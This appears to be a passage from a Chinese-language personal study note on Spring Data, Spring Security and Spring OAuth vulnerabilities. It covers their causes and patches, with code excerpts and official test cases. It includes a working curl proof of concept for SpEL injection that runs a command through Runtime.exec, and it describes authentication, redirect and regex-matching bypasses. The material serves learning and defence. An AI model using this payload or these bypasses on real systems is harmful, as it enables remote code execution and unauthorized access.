at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:128)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:97)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:827)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:738)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:661)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)

| | --- |

ProxyingHandlerMethodArgumentResolver 中的 createAttribute 用于将 HTTP 请求转换为目标对象的属性,因此使用的是字典的映射类型 MapDataBinder:

| ```java // org/springframework/data/web/ProxyingHandlerMethodArgumentResolver.java @Override protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception {

MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject()); binder.bind(new MutablePropertyValues(request.getParameterMap()));

return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget()); }

 |
| --- |

实际设置属性使用的是 MapDataBinder$MapPropertyAccessor,从上面的调用链也可以看出来。其中方法的大致实现如下:

| ```java
// org/springframework/data/web/MapDataBinder.java
@Override
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    StandardEvaluationContext context = new StandardEvaluationContext();
    context.setTypeConverter(new StandardTypeConverter(conversionService));
    context.setRootObject(map);
    // ...
    Expression expression = PARSER.parseExpression(propertyName);
    // ...
    expression.setValue(context, value);
}

| | --- |

主要作用就是使用 SpEL 表达式设置对应的属性值。比如我们可以请求:

| curl -XPOST http://localhost:8080/account -d "name=evilpan" | | --- |

将 Account 属性的 name 设置为 evilpan。如果有子类或者多级数据结构也可以解析。但是这里有个问题是 propertyName 可以被控制的情况下,可能会造成非预期的解析,从而导致任意代码执行。一个执行的 PoC 示例如下:

| $ curl -XPOST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/poc')]=test" {"timestamp":1682648151754,"status":500,"error":"Internal Server Error","exception":"org.springframework.expression.spel.SpelEvaluationException","message":"EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to java.lang.String","path":"/account"} | | --- |

针对该漏洞的修复和许多 SpEL 注入的修复类似,就是将 StandardEvaluationContext 替换为 SimpleEvaluationContext,保留解析灵活性的同时也控制了安全性

总结 > 从上面的这些漏洞可以看出,Spring Data 中的漏洞主要出现在数据绑定上。绑定的数据作为 XML 可造成 XXE,作为 SQL 可造成注入,而绑定的数据要是传递到 SpEL 上就可能出现更为严重的 RCE。这部分问题其实最好通过自动化工具去扫描 Source/Sink 的方式挖掘,不过其中许多调用都经过了反射,也许使用动态 Fuzzing 的方式也是一个不错的选择。

Spring Security

CVE-2014-0097

ldap:https://www.zytrax.com/books/ldap/ch2/ Spring Security结构如下

SecurityContextHolder - The SecurityContextHolder is where Spring Security stores the details of who is authenticated.
SecurityContext - is obtained from the SecurityContextHolder and contains the Authentication of the currently authenticated user.
Authentication - Can be the input to AuthenticationManager to provide the credentials a user has provided to authenticate or the current user from the SecurityContext.
GrantedAuthority - An authority that is granted to the principal on the Authentication (i.e. roles, scopes, etc.)
AuthenticationManager - the API that defines how Spring Security’s Filters perform authentication.
ProviderManager - the most common implementation of AuthenticationManager.
AuthenticationProvider - used by ProviderManager to perform a specific type of authentication.
Request Credentials with AuthenticationEntryPoint - used for requesting credentials from a client (i.e. redirecting to a log in page, sending a WWW-Authenticate response, etc.)
AbstractAuthenticationProcessingFilter - a base Filter used for authentication. This also gives a good idea of the high level flow of authentication and how pieces work together.

每个ProviderManager有许多AuthenticationProvider,比如casAuthenticationProviderJwtAuthenticationProviderLdapAuthenticationProvider 更多参考 每个Security Filter都有属于自己的ProviderManager

@Override
public Authentication authenticate(Authentication authentication) throws AuthenticationException {

    for (AuthenticationProvider provider : getProviders()) {

        try {
            result = provider.authenticate(authentication);
        }
        catch (AccountStatusException | InternalAuthenticationServiceException ex) {
            ...
        }
    }
}

使用ActiveDirectoryLdapAuthenticationProvider时支持空密码认证 它继承自AbstractLdapAuthenticationProvider

@Override
public Authentication authenticate(Authentication authentication) throws AuthenticationException {
    Assert.isInstanceOf(UsernamePasswordAuthenticationToken.class, authentication,
    () -> this.messages.getMessage("LdapAuthenticationProvider.onlySupports",
                                   "Only UsernamePasswordAuthenticationToken is supported"));
    UsernamePasswordAuthenticationToken userToken = (UsernamePasswordAuthenticationToken) authentication;
    String username = userToken.getName();
    String password = (String) authentication.getCredentials();
    if (!StringUtils.hasLength(username)) {
        throw new BadCredentialsException(
            this.messages.getMessage("LdapAuthenticationProvider.emptyUsername", "Empty Username"));
    }
    if (!StringUtils.hasLength(password)) {
        throw new BadCredentialsException(
            this.messages.getMessage("AbstractLdapAuthenticationProvider.emptyPassword", "Empty Password"));
    }
    Assert.notNull(password, "Null password was supplied in authentication token");
                                    // 1
    DirContextOperations userData = doAuthentication(userToken);
    UserDetails user = this.userDetailsContextMapper.mapUserFromContext(userData, authentication.getName(),
                                                                        loadUserAuthorities(userData, authentication.getName(), (String) authentication.getCredentials()));
    return createSuccessfulAuthentication(userToken, user);
}

// ActiveDirectoryLdapAuthenticationProvider
    @Override
    // 1
    protected DirContextOperations doAuthentication(UsernamePasswordAuthenticationToken auth) {
        String username = auth.getName();
        String password = (String) auth.getCredentials();
        DirContext ctx = null;
        try {
                  // 3
            ctx = bindAsUser(username, password);
            return searchForUser(ctx, username);
        }
        ...
    }

上面的bindAsUser方法使用username和password去ldap服务器进行验证,同时返回一个DireContext,用于维持会话,保存各种信息。 ldap有两种绑定方式(可修改配置文件)

  1. 未授权绑定:需要有用户名,但不需要使用密码即可绑定
  2. 匿名用户绑定:空用户名和密码即可绑定

当ldap支持匿名绑定的时候,springsecurity的ActiveDirectoryLdapAuthenticator未校验空密码的情况,导致可以绕过认证。

    if (!StringUtils.hasLength(username)) {
        throw new BadCredentialsException(
            this.messages.getMessage("LdapAuthenticationProvider.emptyUsername", "Empty Username"));
    }
+    if (!StringUtils.hasLength(password)) {
+        throw new BadCredentialsException(
+            this.messages.getMessage("AbstractLdapAuthenticationProvider.emptyPassword", "Empty Password"));
+    }

shiro中也出现了类似问题 了解漏洞成因,不去追究细节。

CVE-2014-3527

先找到https://spring.io/security/cve-2014-3527 然后用git log --grep=SEC-2688搜索修复commit 然后学习相关版本的文档:google搜索spring security docs 3.1,单学习CAS认证流程,然后学习CAS proxy authentication的场景 然后看github patch,定位漏洞问题寻找原因。

使用CAS代理票据认证功能的时候,恶意的CAS服务可以欺骗另一个CAS服务来验证没有关联的代理票证。 samples cas流程

  1. 用户访问需要认证的页面
  2. 我们的服务器
  3. 内部抛异常,ExceptionTranslationFilter将请求转发到CasAuthenticationEntryPoint
  4. CasAuthenticationEntryPoint将用户浏览器重定向到CAS服务器,比如my.company.com/cas/login?service=https%3A%2F%2Fserver3.company.com%2Fwebapp%2Flogin/cas.
  5. CAS服务器
  6. CAS服务器会根据用户是否曾经登录(session)来决定用户是否需要输入username和password,并进行验证。
  7. 登陆成功后重定向到原来服务,并携带一个ticket,比如server3.company.com/webapp/login/cas?ticket=ST-0-ER94xMJmn6pha35CQRoZ.,代表服务端的票据。
  8. 我们的服务器
  9. 我们服务端的配置的CasAuthenticationFilter内部的ProviderManager的CasAuthenticationProvider处理票据,它使用TicketValidator的实现Cas20ServiceTicketValidator或者Cas20ProxyTicketValidator。向cas服务器发送请求并携带ticket,比如my.company.com/cas/proxyValidate?service=https%3A%2F%2Fserver3.company.com%2Fwebapp%2Flogin/cas&ticket=ST-0-ER94xMJmn6pha35CQRoZ&pgtUrl=https://server3.company.com/webapp/login/cas/proxyreceptor.(proxy granting ticket (PGT).)
  10. CAS服务器
  11. 如果提供的服务票证与发出票证的服务URL相匹配,CAS将以XML形式提供确认响应,指出用户名。(代理也包括)
  12. [可选]如果对CAS验证服务的请求包含代理回调URL(在pgtUrl参数中),CAS将在XML响应中包含pgtIou字符串。此IOU表示代理授予票据IOU。然后,CAS服务器将创建自己的HTTPS连接,返回到pgtUrl。这是为了相互验证CAS服务器和声明的服务URL。HTTPS连接将用于向原始web应用程序发送代理授权票据。例如:server3.company.com/webapp/login/cas/proxyreceptor?pgtIou=PGTIOU-0-R0zlgrl4pdAQwBvJWO3vnNpevwqStbSGcq3vKB2SqSFFRnjPHt&pgtId=PGT-1-si9YkkHLrtACBo64rmsi3v2nf7cpCResXg5MpESZFArbaZiOKH。
  13. 我们的服务器
  14. 处理

需要用到代理票据的场景:

  • 现在有A服务和S服务,二者都受到CAS保护。
  • A需要调用S服务的方法但是不经过浏览器。

由于不经过浏览器调用,所以没有session,为了让S能够辨认A是否已经认证过,所以需要代理票据。具体流程如下:

  1. Browser navigates to A.
  2. A redirects to CAS.
  3. CAS authenticates and redirects back to A with an ST.
  4. A attempts to validate the ST, and asks for a PGT.
  5. CAS confirms ST validation, and issues a proxy-granting ticket PGT.
  6. A asks CAS to produce a PT for service S, supplying the PGT in its request.
  7. CAS produces a PT for service S.
  8. A contacts the service S endpoint, passing along PT in the request.
  9. Service S attempts to validate the PT via CAS.
  10. CAS validates the PT and produces a successful response.
  11. Service S receives the response, and produces data for A.
  12. A receives and displays the data in the browser.

看修复,这个DefaultServiceAuthenticationDetails继承自ServiceAuthenticationDetails,其作用是为 CasAuthenticationProvider提供一个正确的serviceurl去认证票据,这个是客户端的代码,修复之前的serviceurl使用request中的全部内容构建。看上面第8步的过程中,A携带一个PT去S,其中可能会携带某些信息让S构造认证的cas服务端的url。然后S应用会去一个恶意的cas服务器去认证代理票据。 看官方测试用例就知道,修复后不会使用request构造cas服务器的地址了。

    @Test
    public void getServiceUrlDoesNotUseHostHeader() throws Exception {
        casServiceUrl = "https://example.com/j_spring_security_cas";
        request.setServerName("evil.com");
        details = new DefaultServiceAuthenticationDetails(casServiceUrl, request,artifactPattern);
        assertEquals("https://example.com/cas-sample/secure/",details.getServiceUrl());
    }

CVE-2016-5007

SpringSecurity和Spring framework路径匹配不一致导致的问题。

CVE-2022-22978

使用java.util.regex.Pattern正则表达式进行url匹配,其默认.不匹配换行符\n\r或者%0a``%0d RegexRequestMatcher

OAuth

2 个 RCE 都是 SpEL 注入,准确来说是 OAuth 认证过程中进行前端展示时 Whitelable 页面的表达式注入;1 个漏洞是认证的绕过;2 个是开放重定向

CVE-2016-4977

暂时略过

CVE-2018-1260

暂时略过

CVE-2018-15758

CAS与OAuth2的区别 CAS的单点登录时保障客户端的用户资源的安全 。 OAuth2则是保障服务端的用户资源的安全 。

CAS客户端要获取的最终信息是,这个用户到底有没有权限访问我(CAS客户端)的资源。 OAuth2获取的最终信息是,我(oauth2服务提供方)的用户的资源到底能不能让你(oauth2的客户端)访问。

CAS的单点登录,资源都在客户端这边,不在CAS的服务器那一方。 用户在给CAS服务端提供了用户名密码后,作为CAS客户端并不知道这件事。 随便给客户端个ST,那么客户端是不能确定这个ST是用户伪造还是真的有效,所以要拿着这个ST去服务端再问一下,这个用户给我的是有效的ST还是无效的ST,是有效的我才能让这个用户访问。 OAuth2认证,资源都在OAuth2服务提供者那一方,客户端是想索取用户的资源。 所以在最安全的模式下,用户授权之后,服务端并不能直接返回token,通过重定向送给客户端,因为这个token有可能被黑客截获,如果黑客截获了这个token,那用户的资源也就暴露在这个黑客之下了。 于是聪明的服务端发送了一个认证code给客户端(通过重定向),客户端在后台,通过https的方式,用这个code,以及另一串客户端和服务端预先商量好的密码,才能获取到token和刷新token,这个过程是非常安全的。 如果黑客截获了code,他没有那串预先商量好的密码,他也是无法获取token的。这样oauth2就能保证请求资源这件事,是用户同意的,客户端也是被认可的,可以放心的把资源发给这个客户端了。

Endpoint spring security有很多Endpoint,包括authorizationEndpoint``redirectionEndpoint``tokenEndpoint``userInfoEndpoint等,各个端点提供了不同的功能。详见列表 其中完成授权有两大Endpoint AuthorizationEndpoint:用于和资源拥有者交互,同时颁发授权。首先需要其认证(登录)然后再交互授予相关客户端权限,如果是授权码模式,该权限是返回的code。详见 TokenEndpoint:在该端点,客户端使用资源所有者的授权批准(code)获取token,或者用于刷新token。 同时还有一个客户端端点 RedirectionEndpoint:授权服务器通过此端点返回给客户端所有的授权凭证。

AuthorizationRequest OAuth2客户端授权的请求,通常由AuthorizationEndpoint处理,其内部包含参数response_type``client_id``redirect_uri``scope``state具体定义详见,该类是临时类,如果作为长期储存则使用OAuth2Request

漏洞成因:

  1. 作为认证服务器
  2. 自定义ApprovalEndpoint,同时声明AuthorizationRequest作为参数

这样在已经通过认证之后再次发起认证请求的时候可以覆盖原来的认证信息,达到越权的效果。比如覆盖scope这个参数提升权限。 我们看AuthorizationEndpoint类,有两个rest接口

@RequestMapping(value = "/oauth/authorize")
    public ModelAndView authorize(Map<String, Object> model, @RequestParam Map<String, String> parameters,
            SessionStatus sessionStatus, Principal principal) {
        model.put(ORIGINAL_AUTHORIZATION_REQUEST_ATTR_NAME, unmodifiableMap(authorizationRequest));
    }

@RequestMapping(value = "/oauth/authorize", method = RequestMethod.POST, params = OAuth2Utils.USER_OAUTH_APPROVAL)
    public View approveOrDeny(@RequestParam Map<String, String> approvalParameters, Map<String, ?> model,
            SessionStatus sessionStatus, Principal principal) {
        AuthorizationRequest authorizationRequest = (AuthorizationRequest) model.get(AUTHORIZATION_REQUEST_ATTR_NAME);
    }

前者的认证请求,使用GET,经过认证后会将请求参数封装成一个authorizationRequest,并存储到model中。 后者的认证请求,使用POST,从model中获取authorizationRequest,然后会直接对其处理最后返回授权信息。 问题出在这,model是用户可控的,这就导致了变量覆盖问题,如果覆盖了scope,可以修改权限。

修复如下,对全部参数进行对比校验,防止有参数修改。


    private boolean isAuthorizationRequestModified(
            AuthorizationRequest authorizationRequest, Map<String, Object> originalAuthorizationRequest) {
        if (!ObjectUtils.nullSafeEquals(
                authorizationRequest.getClientId(),
                originalAuthorizationRequest.get(OAuth2Utils.CLIENT_ID))) {
            return true;
        }
        if (!ObjectUtils.nullSafeEquals(
                authorizationRequest.getState(),
                originalAuthorizationRequest.get(OAuth2Utils.STATE))) {
            return true;
        }
        if (!ObjectUtils.nullSafeEquals(
                authorizationRequest.getRedirectUri(),
                originalAuthorizationRequest.get(OAuth2Utils.REDIRECT_URI))) {
            return true;
        }
        if (!ObjectUtils.nullSafeEquals(
                authorizationRequest.getResponseTypes(),
                originalAuthorizationRequest.get(OAuth2Utils.RESPONSE_TYPE))) {
            return true;
        }
        if (!ObjectUtils.nullSafeEquals(
                authorizationRequest.getScope(),
                originalAuthorizationRequest.get(OAuth2Utils.SCOPE))) {
            return true;
        }
        if (!ObjectUtils.nullSafeEquals(
                authorizationRequest.isApproved(),
                originalAuthorizationRequest.get("approved"))) {
            return true;
        }
        if (!ObjectUtils.nullSafeEquals(
                authorizationRequest.getResourceIds(),
                originalAuthorizationRequest.get("resourceIds"))) {
            return true;
        }
        if (!ObjectUtils.nullSafeEquals(
                authorizationRequest.getAuthorities(),
                originalAuthorizationRequest.get("authorities"))) {
            return true;
        }

        return false;
    }

CVE-2019-3778

  1. 作为认证服务器
  2. 在AuthenticationEndpoint使用DefaultRedirectResolver

这是一个重定向校验绕过的问题,最终可导致客户端认证后可重定向到任意页面。 用来解决跳转问题的是DefaultRedirectResolver可跳转预先配置的地址,也可跳转这些地址的子域名。 验证路径如下: DefaultRedirectResolver.resolveRedirect(requestedRedirect, client) DefaultRedirectResolver.obtainMatchingRedirect(redirectUris, requestedRedirect) DefaultRedirectResolver.redirectMatches(requestedRedirect, redirectUri)

古老的版本如下匹配方式

return  protected boolean redirectMatches(String requestedRedirect, String redirectUri) {
        UriComponents requestedRedirectUri = UriComponentsBuilder.fromUriString(requestedRedirect).build();
        String requestedRedirectUriScheme = (requestedRedirectUri.getScheme() != null ? requestedRedirectUri.getScheme() : "");
        String requestedRedirectUriHost = (requestedRedirectUri.getHost() != null ? requestedRedirectUri.getHost() : "");
        String requestedRedirectUriPath = (requestedRedirectUri.getPath() != null ? requestedRedirectUri.getPath() : "");

        UriComponents registeredRedirectUri = UriComponentsBuilder.fromUriString(redirectUri).build();
        String registeredRedirectUriScheme = (registeredRedirectUri.getScheme() != null ? registeredRedirectUri.getScheme() : "");
        String registeredRedirectUriHost = (registeredRedirectUri.getHost() != null ? registeredRedirectUri.getHost() : "");
        String registeredRedirectUriPath = (registeredRedirectUri.getPath() != null ? registeredRedirectUri.getPath() : "");

        boolean portsMatch = this.matchPorts ? (registeredRedirectUri.getPort() == requestedRedirectUri.getPort()) : true;
        
        return registeredRedirectUriScheme.equals(requestedRedirectUriScheme) &&
            hostMatches(registeredRedirectUriHost, requestedRedirectUriHost) &&
                portsMatch &&
                // Ensure exact path matching
                registeredRedirectUriPath.equals(StringUtils.cleanPath(requestedRedirectUriPath));
}

分别从如下进行匹配校验

  1. scheme:请求协议,需要完全相等
  2. host:主机,需要完全相等或者子域名关系,默认可匹配子域名
  3. path:请求路径,使用StringUtils.cleanPath()清理后需要完全匹配
  4. port:请求端口,需要完全匹配

他忽略了一些请求路径中的其他部分

  1. userinfo:http://userinfo@example.com
  2. 请求参数:
  3. http://example.com/?p1=v1&p2=v2
  4. http://example.com/#baz

一些官方给出的test case进行绕过

@Test(expected = RedirectMismatchException.class)
    public void testRedirectRegisteredUserInfoNotMatching() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://userinfo@anywhere.com"));
        client.setRegisteredRedirectUri(redirectUris);
        resolver.resolveRedirect("http://otheruserinfo@anywhere.com", client);
    }

    // gh-1566
    @Test(expected = RedirectMismatchException.class)
    public void testRedirectRegisteredNoUserInfoNotMatching() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://userinfo@anywhere.com"));
        client.setRegisteredRedirectUri(redirectUris);
        resolver.resolveRedirect("http://anywhere.com", client);
    }

    // gh-1566
    @Test()
    public void testRedirectRegisteredUserInfoMatching() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://userinfo@anywhere.com"));
        client.setRegisteredRedirectUri(redirectUris);
        String requestedRedirect = "http://userinfo@anywhere.com";
        assertEquals(requestedRedirect, resolver.resolveRedirect(requestedRedirect, client));
    }

    // gh-1566
    @Test()
    public void testRedirectRegisteredFragmentIgnoredAndStripped() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://userinfo@anywhere.com/foo/bar#baz"));
        client.setRegisteredRedirectUri(redirectUris);
        String requestedRedirect = "http://userinfo@anywhere.com/foo/bar";
        assertEquals(requestedRedirect, resolver.resolveRedirect(requestedRedirect + "#bar", client));
    }

    // gh-1566
    @Test()
    public void testRedirectRegisteredQueryParamsMatching() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://anywhere.com/?p1=v1&p2=v2"));
        client.setRegisteredRedirectUri(redirectUris);
        String requestedRedirect = "http://anywhere.com/?p1=v1&p2=v2";
        assertEquals(requestedRedirect, resolver.resolveRedirect(requestedRedirect, client));
    }

    // gh-1566
    @Test()
    public void testRedirectRegisteredQueryParamsMatchingIgnoringAdditionalParams() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://anywhere.com/?p1=v1&p2=v2"));
        client.setRegisteredRedirectUri(redirectUris);
        String requestedRedirect = "http://anywhere.com/?p1=v1&p2=v2&p3=v3";
        assertEquals(requestedRedirect, resolver.resolveRedirect(requestedRedirect, client));
    }

    // gh-1566
    @Test()
    public void testRedirectRegisteredQueryParamsMatchingDifferentOrder() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://anywhere.com/?p1=v1&p2=v2"));
        client.setRegisteredRedirectUri(redirectUris);
        String requestedRedirect = "http://anywhere.com/?p2=v2&p1=v1";
        assertEquals(requestedRedirect, resolver.resolveRedirect(requestedRedirect, client));
    }

    // gh-1566
    @Test(expected = RedirectMismatchException.class)
    public void testRedirectRegisteredQueryParamsWithDifferentValues() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://anywhere.com/?p1=v1&p2=v2"));
        client.setRegisteredRedirectUri(redirectUris);
        resolver.resolveRedirect("http://anywhere.com/?p1=v1&p2=v3", client);
    }

    // gh-1566
    @Test(expected = RedirectMismatchException.class)
    public void testRedirectRegisteredQueryParamsNotMatching() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://anywhere.com/?p1=v1"));
        client.setRegisteredRedirectUri(redirectUris);
        resolver.resolveRedirect("http://anywhere.com/?p2=v2", client);
    }

    // gh-1566
    @Test(expected = RedirectMismatchException.class)
    public void testRedirectRegisteredQueryParamsPartiallyMatching() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://anywhere.com/?p1=v1&p2=v2"));
        client.setRegisteredRedirectUri(redirectUris);
        resolver.resolveRedirect("http://anywhere.com/?p2=v2&p3=v3", client);
    }

    // gh-1566
    @Test
    public void testRedirectRegisteredQueryParamsMatchingWithMultipleValuesInRegistered() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://anywhere.com/?p1=v11&p1=v12"));
        client.setRegisteredRedirectUri(redirectUris);
        String requestedRedirect = "http://anywhere.com/?p1=v11&p1=v12";
        assertEquals(requestedRedirect, resolver.resolveRedirect(requestedRedirect, client));
    }

    // gh-1566
    @Test
    public void testRedirectRegisteredQueryParamsMatchingWithParamWithNoValue() throws Exception {
        Set<String> redirectUris = new HashSet<String>(Arrays.asList("http://anywhere.com/?p1&p2=v2"));
        client.setRegisteredRedirectUri(redirectUris);
        String requestedRedirect = "http://anywhere.com/?p1&p2=v2";
        assertEquals(requestedRedirect, resolver.resolveRedirect(requestedRedirect, client));
    }

至于有什么危害,已经不能跳转到恶意的主机了,但是仍然可以跳转到该网站的其他位置,如果其他位置有漏洞的话,仍然可以作为一个利用手段。

修复后 然后其分别根据scheme、userInfo、host、port、path、param依次匹配配置的白名单。

protected boolean redirectMatches(String requestedRedirect, String redirectUri) {
   UriComponents requestedRedirectUri = UriComponentsBuilder.fromUriString(requestedRedirect).build();
   UriComponents registeredRedirectUri = UriComponentsBuilder.fromUriString(redirectUri).build();

   boolean schemeMatch = isEqual(registeredRedirectUri.getScheme(), requestedRedirectUri.getScheme());
   boolean userInfoMatch = isEqual(registeredRedirectUri.getUserInfo(), requestedRedirectUri.getUserInfo());
   boolean hostMatch = hostMatches(registeredRedirectUri.getHost(), requestedRedirectUri.getHost());
   boolean portMatch = matchPorts ? registeredRedirectUri.getPort() == requestedRedirectUri.getPort() : true;
   boolean pathMatch = isEqual(registeredRedirectUri.getPath(),
         StringUtils.cleanPath(requestedRedirectUri.getPath()));
   boolean queryParamMatch = matchQueryParams(registeredRedirectUri.getQueryParams(),
         requestedRedirectUri.getQueryParams());

   return schemeMatch && userInfoMatch && hostMatch && portMatch && pathMatch && queryParamMatch;
}

CVE-2019-11269

针对上面漏洞的绕过,主要是针对子域名,默认可以跳转到子域名,官方直接设置为默认false。

漏洞小节

大部分漏洞主要出现在数据绑定上没有限制,绑定的是xml则可以造成xxe漏洞,绑定的是sql则造成sql注入。绑定数据传递到SpEL解析上则可以造成更严重的漏洞。

SpEL

  1. Http请求转化为Bean对象的时候,创建属性可以执行SpEL表达式,无论是属性名称还是值-Spring Data Commons
  2. 返回固定页面的位置可以使用SpEL动态解析消息-Spring Boot
  3. Spring Messaging在使用websocket+stomp时客户端在消息订阅的时候header处的selector可以使用SpEL动态选择关注内容
  4. 使用json+patch修改Entry数据的时候传入的路径/value处可以执行SpEL表达式-Spring Data REST

总结

  1. 相关内容的漏洞刷一遍非常有助于快速完善认知,哪里存在什么漏洞。学习的程度在于把原理彻底搞懂,包括漏洞的原因,补丁等,不需要完全复现,有环境就复现一下。
  2. 在学习的过程中经常会因为想要搞清楚漏洞的原理然后深入研究到停不下来。这就牺牲了整体的效率了。但是一旦钻入某一漏洞研究中,即没有对某一类型深入研究,又缺失效率无法对全局把控。比如我们在梳理过程中看到了很多SpEL漏洞,那么就先记着,等全梳理完,再把所有SpEL汇总一块研究!
  3. 他真厉害啊,介绍 spring data 的时候他几乎是完全研究透彻了,我不知道他怎么做到的,甚至贴上了 spring data jdbc 动态代理生成查询语句的源码!!?!他不仅仅知道有这个东西,还要知道是怎么实现的。不过冷静下来发现,他也有可能是复制别人的文章
  4. 最全面的解读也许可以去类似于https://docs.oracle.com/javaee/6/tutorial/doc/bnbqw.html这种地方找。
  5. 目的是搞懂,无论使用什么手段。搞懂的程度,仅限于可以整体把控。
  6. 不过说实话,过程我有些hold不住,能力还没锻炼到他的程度,比如英文不强,理解力不强,漏洞复现或者挖掘经验不如他,信息获取能力不够,信息整理输出能力不够,等等,甚至代码读写能力也没有他强。还是应该找到一条适合自己的路,逐渐提升。
  7. 我严重怀疑他是根据漏洞来学的,因为很多信息只有深入漏洞才可能发现和学到
  8. 后面的一大堆,我只看了他研究的结果,我没有自己去研究,因为太多了,我拖得日期太长了几乎都将近一个月多,而且我没有目的性。后面几个先不搞了,太累了,着手自己挖掘漏洞。

最重要的是搞清楚问题,而不是不断的调试或者很详细的读完官方文档。如果这二者都不能提供有效信息解答问题,那么应该搜其他地方的文章。